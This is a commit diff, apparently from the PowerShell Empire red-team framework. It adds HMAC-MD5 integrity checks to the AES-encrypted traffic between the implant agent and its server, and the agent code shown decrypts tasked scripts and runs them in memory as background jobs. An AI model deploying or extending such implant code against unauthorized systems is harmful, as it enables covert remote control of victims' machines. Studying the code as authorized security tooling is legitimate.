Merge pull request #3 from joncave/authenticated_encryption

Update of encryption scheme uses to include integrity checking. Merge from joncave/authenticated_encryption
1.6
Justin 2015-08-09 01:58:05 -04:00
commit db1bc92296
3 changed files with 62 additions and 9 deletions

View File

@ -495,12 +495,25 @@ function Invoke-Empire {
$AES.Mode = "CBC"; $AES.Mode = "CBC";
$AES.Key = $encoding.GetBytes($SessionKey); $AES.Key = $encoding.GetBytes($SessionKey);
$AES.IV = $IV; $AES.IV = $IV;
$IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length); $ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length);
$hmac = New-Object System.Security.Cryptography.HMACMD5;
$hmac.Key = $encoding.GetBytes($SessionKey);
$ciphertext + $hmac.ComputeHash($ciphertext);
} }
function Decrypt-Bytes { function Decrypt-Bytes {
param ($inBytes) param ($inBytes)
if($inBytes.Length -gt 16){ if($inBytes.Length -gt 32){
# Verify the MAC
$mac = $inBytes[-16..-1];
$inBytes = $inBytes[0..($inBytes.length - 17)];
$hmac = New-Object System.Security.Cryptography.HMACMD5;
$hmac.Key = $encoding.GetBytes($SessionKey);
$expected = $hmac.ComputeHash($inBytes);
if (@(Compare-Object $mac $expected -sync 0).Length -ne 0){
return;
}
# extract the IV # extract the IV
$IV = $inBytes[0..15]; $IV = $inBytes[0..15];
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
@ -779,8 +792,11 @@ function Invoke-Empire {
elseif($type -eq 121){ elseif($type -eq 121){
# decrypt the script in memory and execute the code as a background job # decrypt the script in memory and execute the code as a background job
$jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString( (Decrypt-Bytes $script:importedScript)) + "; $data") $script = Decrypt-Bytes $script:importedScript
Encode-Packet -type $type -data ("Job started: " + $jobID) if ($script){
$jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString($script) + "; $data")
Encode-Packet -type $type -data ("Job started: " + $jobID)
}
} }
else{ else{
@ -798,6 +814,9 @@ function Invoke-Empire {
# Decrypt the tasking and process it appropriately # Decrypt the tasking and process it appropriately
$taskingBytes = Decrypt-Bytes $tasking $taskingBytes = Decrypt-Bytes $tasking
if (!$taskingBytes){
return
}
# decode the first packet # decode the first packet
$decoded = Decode-Packet $taskingBytes $decoded = Decode-Packet $taskingBytes

View File

@ -1035,7 +1035,7 @@ class Agents:
sessionKey = self.agents[sessionID][0] sessionKey = self.agents[sessionID][0]
# encrypt the tasking packets with the agent's session key # encrypt the tasking packets with the agent's session key
encryptedData = encryption.aes_encrypt(sessionKey, allTaskPackets) encryptedData = encryption.aes_encrypt_then_mac(sessionKey, allTaskPackets)
return (200, encryptedData) return (200, encryptedData)
@ -1112,8 +1112,8 @@ class Agents:
sessionKey = self.agents[sessionID][0] sessionKey = self.agents[sessionID][0]
try: try:
# decrypt and depad the packet # verify, decrypt and depad the packet
packet = encryption.aes_decrypt(sessionKey, postData) packet = encryption.aes_decrypt_and_verify(sessionKey, postData)
# update the client's last seen time # update the client's last seen time
self.update_agent_lastseen(sessionID) self.update_agent_lastseen(sessionID)

View File

@ -9,7 +9,7 @@ from Crypto.Cipher import AES
from Crypto import Random from Crypto import Random
from Crypto.Random import random from Crypto.Random import random
from binascii import hexlify from binascii import hexlify
import base64, string, M2Crypto import base64, hashlib, hmac, string, M2Crypto
import helpers import helpers
@ -71,6 +71,15 @@ def aes_encrypt(key, data):
return IV + cipher.encrypt(pad(data)) return IV + cipher.encrypt(pad(data))
def aes_encrypt_then_mac(key, data):
"""
Encrypt the data then calculate HMAC over the ciphertext.
"""
data = aes_encrypt(key, data)
mac = hmac.new(str(key), data, hashlib.md5).digest()
return data + mac
def aes_decrypt(key, data): def aes_decrypt(key, data):
""" """
Generate an AES cipher object, pull out the IV from the data Generate an AES cipher object, pull out the IV from the data
@ -82,6 +91,31 @@ def aes_decrypt(key, data):
return depad(cipher.decrypt(data[16:])) return depad(cipher.decrypt(data[16:]))
def verify_hmac(key, data):
"""
Verify the HMAC supplied in the data with the given key.
"""
if len(data) > 16:
mac = data[-16:]
data = data[:-16]
expected = hmac.new(str(key), data, hashlib.md5).digest()
# Double HMAC to prevent timing attacks. hmac.compare_digest() is
# preferable, but only available since Python 2.7.7.
return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest()
return False
def aes_decrypt_and_verify(key, data):
"""
Decrypt the data, but only if it has a valid MAC.
"""
if len(data) > 32 and verify_hmac(key, data):
return aes_decrypt(key, data[:-16])
raise Exception("Invalid ciphertext received.")
def generate_aes_key(): def generate_aes_key():
""" """
Generate a random new 128-bit AES key using Pycrypto's secure Random functions. Generate a random new 128-bit AES key using Pycrypto's secure Random functions.